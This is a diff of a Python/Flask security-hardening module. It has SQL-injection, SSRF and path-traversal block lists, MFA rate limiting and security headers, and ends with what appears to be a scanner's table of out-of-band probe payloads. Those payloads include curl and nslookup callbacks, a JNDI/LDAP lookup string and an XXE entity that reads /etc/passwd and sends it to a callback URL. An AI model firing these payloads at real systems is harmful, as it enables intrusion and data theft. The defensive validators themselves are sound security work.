176
+ _BLOCKED_PATTERNS = re.compile(
177
+ r"(--|\bOR\b|\bAND\b|\bUNION\b|\bSELECT\b|\bINSERT\b|\bUPDATE\b"
178
+ r"|\bDROP\b|\bDELETE\b|\bTRUNCATE\b|\bEXEC\b|\bXP_\b|\bSLEEP\b|\bWAITFOR\b"
179
+ r"|;|\bINFORMATION_SCHEMA\b|\bSYSOBJECTS\b|\bPG_SLEEP\b|/\*)",
180
+ re.IGNORECASE,
181
+ )
182
+
183
+ @classmethod
184
+ def validate_id(cls, value, name: str = "id") -> int:
185
+ """Validate that a URL/form ID parameter is a plain integer. Raises ValueError otherwise."""
186
+ try:
187
+ int_val = int(str(value).strip())
188
+ if int_val < 0:
189
+ raise ValueError(f"{name} must be non-negative")
190
+ return int_val
191
+ except (ValueError, TypeError):
192
+ raise ValueError(f"Invalid {name}: must be a positive integer, got {value!r}")
193
+
194
+ @classmethod
195
+ def validate_string(cls, value: str, max_len: int = 255, name: str = "field") -> str:
196
+ """Validate a string parameter doesn't contain SQL injection patterns."""
197
+ if not isinstance(value, str):
198
+ raise ValueError(f"{name} must be a string")
199
+ if len(value) > max_len:
200
+ raise ValueError(f"{name} exceeds max length {max_len}")
201
+ if cls._BLOCKED_PATTERNS.search(value):
202
+ raise ValueError(f"Invalid characters in {name}")
203
+ return value.strip()
204
+
205
+ @staticmethod
206
+ def execute(session, query: str, params: dict):
207
+ """Execute a parameterized SQLAlchemy query safely."""
208
+ return session.execute(text(query), params)
209
+
210
+
211
+ # ═══════════════════════════════════════════════════════════════════
212
+ # FIX-4: SSRF - Outbound Request Firewall
213
+ # ═══════════════════════════════════════════════════════════════════
214
+
215
+ _BLOCKED_SSRF_NETWORKS = [
216
+ ipaddress.ip_network("10.0.0.0/8"),
217
+ ipaddress.ip_network("172.16.0.0/12"),
218
+ ipaddress.ip_network("192.168.0.0/16"),
219
+ ipaddress.ip_network("127.0.0.0/8"),
220
+ ipaddress.ip_network("169.254.0.0/16"), # AWS/Azure IMDS - CRITICAL
221
+ ipaddress.ip_network("100.64.0.0/10"), # Shared address space
222
+ ipaddress.ip_network("::1/128"), # IPv6 loopback
223
+ ipaddress.ip_network("fc00::/7"), # IPv6 private
224
+ ]
225
+
226
+ _BLOCKED_SSRF_HOSTNAMES = frozenset({
227
+ "localhost", "metadata.google.internal", "kubernetes.default.svc",
228
+ "kubernetes.default", "169.254.169.254", "100.100.100.200",
229
+ })
230
+
231
+ _BLOCKED_SSRF_SCHEMES = frozenset({"file", "gopher", "dict", "ftp", "sftp", "ldap", "ldaps"})
232
+
233
+
234
+ def validate_outbound_url(url: str) -> str:
235
+ """
236
+ SSRF firewall - validate a user-supplied URL before fetching it.
237
+ Raises ValueError for blocked targets.
238
+
239
+ Usage:
240
+ url = request.args.get("url", "")
241
+ try:
242
+ safe_url = validate_outbound_url(url)
243
+ except ValueError as e:
244
+ abort(400, str(e))
245
+ response = requests.get(safe_url, timeout=5)
246
+ """
247
+ try:
248
+ parsed = urlparse(url)
249
+ except Exception:
250
+ raise ValueError("Invalid URL")
251
+
252
+ if parsed.scheme.lower() in _BLOCKED_SSRF_SCHEMES:
253
+ raise ValueError(f"Blocked URL scheme: {parsed.scheme}")
254
+
255
+ if parsed.scheme.lower() not in ("http", "https"):
256
+ raise ValueError("Only http/https URLs are permitted")
257
+
258
+ hostname = (parsed.hostname or "").lower()
259
+ if not hostname:
260
+ raise ValueError("URL must have a hostname")
261
+
262
+ if hostname in _BLOCKED_SSRF_HOSTNAMES:
263
+ raise ValueError(f"Access to {hostname} is not permitted")
264
+
265
+ # Resolve hostname and check if it resolves to a private IP
266
+ try:
267
+ addrs = {info[4][0] for info in socket.getaddrinfo(hostname, None)}
268
+ for addr in addrs:
269
+ try:
270
+ ip_obj = ipaddress.ip_address(addr)
271
+ for net in _BLOCKED_SSRF_NETWORKS:
272
+ if ip_obj in net:
273
+ raise ValueError(f"Resolved IP {addr} is in a private/reserved range")
274
+ except (ipaddress.AddressValueError, ValueError):
275
+ raise
276
+ except socket.gaierror:
277
+ raise ValueError(f"Cannot resolve hostname: {hostname}")
278
+
279
+ return url
280
+
281
+
282
+ # ═══════════════════════════════════════════════════════════════════
283
+ # FIX-5: LFI - File Parameter Whitelist Validator
284
+ # ═══════════════════════════════════════════════════════════════════
285
+
286
+ _LFI_PATTERNS = re.compile(
287
+ r'(\.\.[\\/]|%2e%2e[\\/]|%252e%252e[\\/]|%c0%af|%c1%9c'
288
+ r'|\/etc\/|\/proc\/|\/sys\/|php://|file://|expect://|zip://)',
289
+ re.IGNORECASE,
290
+ )
291
+
292
+ def validate_file_param(
293
+ filename: str,
294
+ allowed_extensions: set | None = None,
295
+ base_dir: str | None = None,
296
+ ) -> str:
297
+ """
298
+ LFI fix - validate a filename parameter.
299
+ Raises ValueError if path traversal or forbidden patterns detected.
300
+
301
+ Usage:
302
+ fname = request.args.get("file", "")
303
+ try:
304
+ safe_name = validate_file_param(fname, allowed_extensions={".pdf", ".png"}, base_dir="/var/app/uploads")
305
+ except ValueError:
306
+ abort(400, "Invalid file parameter")
307
+ """
308
+ if not filename:
309
+ raise ValueError("File parameter is required")
310
+
311
+ if _LFI_PATTERNS.search(filename):
312
+ raise ValueError("Path traversal detected")
313
+
314
+ # Strip any directory components - only allow base filename
315
+ basename = os.path.basename(filename)
316
+ if basename != filename:
317
+ raise ValueError("Directory separators not allowed in file parameter")
318
+
319
+ if allowed_extensions:
320
+ ext = os.path.splitext(basename)[1].lower()
321
+ if ext not in allowed_extensions:
322
+ raise ValueError(f"File extension {ext!r} not allowed")
323
+
324
+ if base_dir:
325
+ full_path = os.path.realpath(os.path.join(base_dir, basename))
326
+ if not full_path.startswith(os.path.realpath(base_dir)):
327
+ raise ValueError("Path traversal detected via symlink")
328
+
329
+ return basename
330
+
331
+
332
+ # ═══════════════════════════════════════════════════════════════════
333
+ # FIX-6: MFA Rate Limiting - Sliding Window (5 attempts / 15 min)
334
+ # ═══════════════════════════════════════════════════════════════════
335
+
336
+ class SlidingWindowRateLimiter:
337
+ """
338
+ In-memory sliding window rate limiter for MFA/OTP endpoints.
339
+
340
+ Usage:
341
+ _otp_limiter = SlidingWindowRateLimiter(max_attempts=5, window_seconds=900)
342
+
343
+ @app.route("/api/mfa/verify", methods=["POST"])
344
+ def verify_mfa():
345
+ key = f"mfa:{current_user.id}"
346
+ if not _otp_limiter.allow(key):
347
+ return jsonify({"error": "too_many_attempts"}), 429
348
+ ...
349
+ """
350
+ def __init__(self, max_attempts: int = 5, window_seconds: int = 900):
351
+ self.max_attempts = max_attempts
352
+ self.window_seconds = window_seconds
353
+ self._store: dict[str, list[float]] = defaultdict(list)
354
+ self._lock = threading.Lock()
355
+
356
+ def allow(self, key: str) -> bool:
357
+ """Returns True if the request is within the rate limit, False if blocked."""
358
+ now = time.monotonic()
359
+ cutoff = now - self.window_seconds
360
+ with self._lock:
361
+ timestamps = self._store[key]
362
+ # Prune old timestamps outside the window
363
+ self._store[key] = [t for t in timestamps if t > cutoff]
364
+ if len(self._store[key]) >= self.max_attempts:
365
+ return False
366
+ self._store[key].append(now)
367
+ return True
368
+
369
+ def reset(self, key: str) -> None:
370
+ """Reset the counter for a key (call after successful auth)."""
371
+ with self._lock:
372
+ self._store.pop(key, None)
373
+
374
+ def retry_after(self, key: str) -> int:
375
+ """Return seconds until the oldest attempt falls outside the window."""
376
+ now = time.monotonic()
377
+ cutoff = now - self.window_seconds
378
+ with self._lock:
379
+ timestamps = [t for t in self._store.get(key, []) if t > cutoff]
380
+ if not timestamps:
381
+ return 0
382
+ return int(self.window_seconds - (now - min(timestamps))) + 1
383
+
384
+
385
+ # Singleton for MFA endpoints
386
+ _mfa_limiter = SlidingWindowRateLimiter(max_attempts=5, window_seconds=900)
387
+
388
+
389
+ def mfa_rate_limit(f):
390
+ """
391
+ Flask decorator "- apply MFA rate limiting.
392
+ Uses IP + user identifier as the key.
393
+
394
+ Usage:
395
+ @app.route("/api/mfa/verify", methods=["POST"])
396
+ @mfa_rate_limit
397
+ def verify_mfa():
398
+ ...
399
+ """
400
+ @wraps(f)
401
+ def wrapper(*args, **kwargs):
402
+ # Build a stable key from IP + any user identifier in body
403
+ ip = request.headers.get("X-Forwarded-For", request.remote_addr or "unknown").split(",")[0].strip()
404
+ body = request.get_json(silent=True) or {}
405
+ uid = str(body.get("user_id", body.get("email", body.get("username", "anon"))))
406
+ key = hashlib.sha256(f"{ip}:{uid}".encode()).hexdigest()[:32]
407
+
408
+ if not _mfa_limiter.allow(key):
409
+ retry = _mfa_limiter.retry_after(key)
410
+ resp = jsonify({"error": "too_many_attempts", "retry_after": retry})
411
+ resp.status_code = 429
412
+ resp.headers["Retry-After"] = str(retry)
413
+ return resp
414
+ return f(*args, **kwargs)
415
+ return wrapper
416
+
417
+
418
+ # ═══════════════════════════════════════════════════════════════════
419
+ # FIX-7: ReDoS - Safe Email Validator (RE2-compatible, linear time)
420
+ # ═══════════════════════════════════════════════════════════════════
421
+
422
+ # RFC 5321 simplified - NO nested quantifiers, linear time O(n)
423
+ _EMAIL_SAFE_RE = re.compile(
424
+ r'^[a-zA-Z0-9][a-zA-Z0-9._+\-]{0,62}@[a-zA-Z0-9][a-zA-Z0-9.\-]{0,253}[a-zA-Z0-9]\.[a-zA-Z]{2,24}$'
425
+ )
426
+ MAX_EMAIL_LENGTH = 254 # RFC 5321
427
+
428
+
429
+ def validate_email_safe(email: str) -> str:
430
+ """
431
+ ReDoS-safe email validator.
432
+ - Hard length cap BEFORE regex (prevents catastrophic backtracking)
433
+ - Uses a linear-time RE2-compatible pattern (no nested quantifiers)
434
+
435
+ Usage:
436
+ try:
437
+ email = validate_email_safe(request.form["email"])
438
+ except ValueError:
439
+ abort(400, "Invalid email address")
440
+ """
441
+ if not isinstance(email, str):
442
+ raise ValueError("Email must be a string")
443
+ email = email.strip()
444
+ # CRITICAL: length check BEFORE regex - this alone prevents most ReDoS
445
+ if len(email) > MAX_EMAIL_LENGTH:
446
+ raise ValueError(f"Email too long (max {MAX_EMAIL_LENGTH} characters)")
447
+ if not _EMAIL_SAFE_RE.match(email):
448
+ raise ValueError("Invalid email format")
449
+ return email.lower()
450
+
451
+
452
+ # ═════════════════════════════════��═════════════════════════════════
453
+ # FIX-10: Cache Poisoning - X-Forwarded-Proto Sanitizer
454
+ # ═══════════════════════════════════════════════════════════════════
455
+
456
+ _SAFE_PROTO_RE = re.compile(r'^(https?|wss?)$', re.IGNORECASE)
457
+
458
+
459
+ def get_safe_scheme() -> str:
460
+ """
461
+ Cache poisoning fix: validate X-Forwarded-Proto before trusting it.
462
+ Only accept 'http' or 'https' - reject all other values.
463
+
464
+ Usage (in Flask before_request or ProxyFix replacement):
465
+ scheme = get_safe_scheme()
466
+ if scheme == "https":
467
+ do_secure_thing()
468
+ """
469
+ proto = request.headers.get("X-Forwarded-Proto", "")
470
+ if proto and _SAFE_PROTO_RE.match(proto):
471
+ return proto.lower()
472
+ # Fall back to the actual connection scheme
473
+ return request.scheme
474
+
475
+
476
+ class SafeProxyFix:
477
+ """
478
+ Drop-in replacement for Werkzeug's ProxyFix that validates
479
+ X-Forwarded-Proto before trusting it (prevents cache poisoning).
480
+
481
+ Usage:
482
+ app.wsgi_app = SafeProxyFix(app.wsgi_app, x_for=1, x_proto=1, x_host=0)
483
+ """
484
+ def __init__(self, app, x_for: int = 1, x_proto: int = 1, x_host: int = 0):
485
+ self.app = app
486
+ self.x_for = x_for
487
+ self.x_proto = x_proto
488
+ self.x_host = x_host
489
+
490
+ def __call__(self, environ, start_response):
491
+ if self.x_proto:
492
+ proto = environ.get("HTTP_X_FORWARDED_PROTO", "")
493
+ if _SAFE_PROTO_RE.match(proto):
494
+ environ["wsgi.url_scheme"] = proto.lower()
495
+ else:
496
+ # Strip invalid/poisoned proto header
497
+ environ.pop("HTTP_X_FORWARDED_PROTO", None)
498
+
499
+ if self.x_for:
500
+ forwarded_for = environ.get("HTTP_X_FORWARDED_FOR", "")
501
+ if forwarded_for:
502
+ # Only trust the first IP (leftmost = original client)
503
+ first_ip = forwarded_for.split(",")[0].strip()
504
+ try:
505
+ ipaddress.ip_address(first_ip)
506
+ environ["REMOTE_ADDR"] = first_ip
507
+ except ValueError:
508
+ pass # Invalid IP - keep original REMOTE_ADDR
509
+
510
+ return self.app(environ, start_response)
511
+
512
+
513
+ # ═══════════════════════════════════════════════════════════════════
514
+ # FIX-11: Security Headers - Full Suite
515
+ # ═══════════════════════════════════════════════════════════════════
516
+
517
+ _SECURITY_HEADERS = {
518
+ # Prevent clickjacking
519
+ "X-Frame-Options": "SAMEORIGIN",
520
+ # Prevent MIME sniffing
521
+ "X-Content-Type-Options": "nosniff",
522
+ # HSTS - 2 years, include subdomains, preload
523
+ "Strict-Transport-Security": "max-age=63072000; includeSubDomains; preload",
524
+ # XSS filter (legacy browsers)
525
+ "X-XSS-Protection": "1; mode=block",
526
+ # Referrer-Policy - don't leak URL to third parties
527
+ "Referrer-Policy": "strict-origin-when-cross-origin",
528
+ # Permissions-Policy - disable unneeded browser APIs
529
+ "Permissions-Policy": (
530
+ "camera=(), microphone=(), geolocation=(), payment=(), "
531
+ "usb=(), accelerometer=(), gyroscope=(), magnetometer=()"
532
+ ),
533
+ # COOP - prevent cross-origin window access (XS-Leaks)
534
+ "Cross-Origin-Opener-Policy": "same-origin",
535
+ # COEP - require COOP isolation
536
+ "Cross-Origin-Embedder-Policy": "require-corp",
537
+ # CORP - prevent spectre-style cross-origin reads
538
+ "Cross-Origin-Resource-Policy": "same-origin",
539
+ # Certificate Transparency
540
+ "Expect-CT": "max-age=86400, enforce",
541
+ }
542
+
543
+ def add_security_headers(response: Response) -> Response:
544
+ """
545
+ Flask after_request hook - adds all missing security headers.
546
+
547
+ Usage:
548
+ app.after_request(add_security_headers)
549
+ """
550
+ for header, value in _SECURITY_HEADERS.items():
551
+ if header not in response.headers:
552
+ response.headers[header] = value
553
+ # Remove information-disclosure headers
554
+ response.headers.pop("Server", None)
555
+ response.headers.pop("X-Powered-By", None)
556
+ return response
557
+
558
+
559
+ # ═══════════════════════════════════════════════════════════════════
560
+ # FIX-14: Open Redirect - Referer/return_url Allowlist
561
+ # ═══════════════════════════════════════════════════════════════════
562
+
563
+ def validate_redirect_url(
564
+ url: str,
565
+ allowed_hosts: set | None = None,
566
+ default_url: str = "/",
567
+ ) -> str:
568
+ """
569
+ Open redirect fix - validate a redirect URL against an allowlist.
570
+
571
+ Usage:
572
+ next_url = request.args.get("next", "/")
573
+ safe_url = validate_redirect_url(next_url, allowed_hosts={"larshield.com", "www.larshield.com"})
574
+ return redirect(safe_url)
575
+ """
576
+ if not url or not url.strip():
577
+ return default_url
578
+
579
+ url = url.strip()
580
+
581
+ # Allow relative URLs (no host = safe)
582
+ parsed = urlparse(url)
583
+ if not parsed.scheme and not parsed.netloc:
584
+ # Ensure it starts with / to prevent protocol-relative URLs
585
+ if url.startswith("/") and not url.startswith("//"):
586
+ return url
587
+ return default_url
588
+
589
+ # For absolute URLs, validate host
590
+ host = parsed.netloc.lower().split(":")[0] # strip port
591
+ if allowed_hosts and host in allowed_hosts:
592
+ return url
593
+
594
+ # Unknown host - redirect to safe default
595
+ return default_url
596
+
597
+
598
+ # ═══════════════════════════════════════════════════════════════════
599
+ # FIX-15: Browser Cache - No-Store on Sensitive Pages
600
+ # ═══════════════════════════════════════════════════════════════════
601
+
602
+ _SENSITIVE_PATH_PATTERNS = re.compile(
603
+ r'^/(api|account|profile|dashboard|admin|settings|payment|checkout|invoice|report)',
604
+ re.IGNORECASE,
605
+ )
606
+
607
+
608
+ def no_cache_sensitive(response: Response) -> Response:
609
+ """
610
+ Flask after_request hook - prevents browsers from caching
611
+ authenticated/sensitive pages.
612
+
613
+ Usage:
614
+ app.after_request(no_cache_sensitive)
615
+ """
616
+ path = request.path
617
+ if _SENSITIVE_PATH_PATTERNS.match(path) or request.method in ("POST", "PUT", "PATCH", "DELETE"):
618
+ response.headers["Cache-Control"] = "no-store, no-cache, must-revalidate, private, max-age=0"
619
+ response.headers["Pragma"] = "no-cache"
620
+ response.headers["Expires"] = "0"
621
+ return response
622
+
623
+
624
+ # ═══════════════════════════════════════════════════════════════════
625
+ # Master installer - apply all fixes to Flask app
626
+ # ═══════════════════════════════════════════════════════════════════
627
+
628
+ def apply_security_hardening(app, allowed_redirect_hosts: set | None = None):
629
+ """
630
+ Apply all security fixes to a Flask application in one call.
631
+
632
+ Usage:
633
+ app = Flask(__name__)
634
+ app = apply_security_hardening(app, allowed_redirect_hosts={"larshield.com"})
635
+ """
636
+ # FIX-10: Safe proxy fix (X-Forwarded-Proto validation)
637
+ app.wsgi_app = SafeProxyFix(app.wsgi_app, x_for=1, x_proto=1, x_host=0)
638
+
639
+ # FIX-11 + FIX-15: Security headers + cache control
640
+ app.after_request(add_security_headers)
641
+ app.after_request(no_cache_sensitive)
642
+
643
+ app.logger.info("[SecurityHardening] Applied: headers, cache-control, proxy-fix")
644
+ return app
645
+
646
+
647
+ # --- From callback.py ---
648
+
649
+ CALLBACK_BASE = os.environ.get(
650
+ "WSS_CALLBACK_BASE",
651
+ "https://callback.internal/receive",
652
+ )
653
+
654
+
655
+ def generate_callback_id() -> str:
656
+ return uuid.uuid4().hex[:16]
657
+
658
+
659
+ def build_callback_url(path: str = "/xss") -> str:
660
+ cid = generate_callback_id()
661
+ return f"{CALLBACK_BASE.rstrip('/')}/{cid}{path}"
662
+
663
+
664
+ def build_oob_domain(subdomain: str | None = None) -> str:
665
+ base = CALLBACK_BASE.replace("https://", "").replace("http://", "").split("/")[0]
666
+ sub = subdomain or generate_callback_id()
667
+ return f"{sub}.{base}"
668
+
669
+
670
+ def probe_callback(callback_url: str, timeout: int = 3) -> bool:
671
+ try:
672
+ req = urllib.request.Request(callback_url, method="GET")
673
+ with urllib.request.urlopen(req, timeout=timeout) as resp:
674
+ return resp.status == 200
675
+ except Exception:
676
+ return False
677
+
678
+
679
+ SYNTHETIC_CALLBACKS = {
680
+ "dns": "nslookup {oob}",
681
+ "http": "curl {callback}",
682
+ "ldap": "ldap://{oob}/a",
683
+ "jndi": "${jndi:ldap://{oob}/a}",
684
+ "xxe_oob": "<!ENTITY % file SYSTEM \"file:///etc/passwd\"><!ENTITY % oob \"<!ENTITY exfil SYSTEM '{callback}?data=%file;'>\">%oob;",
685
+ }
686
+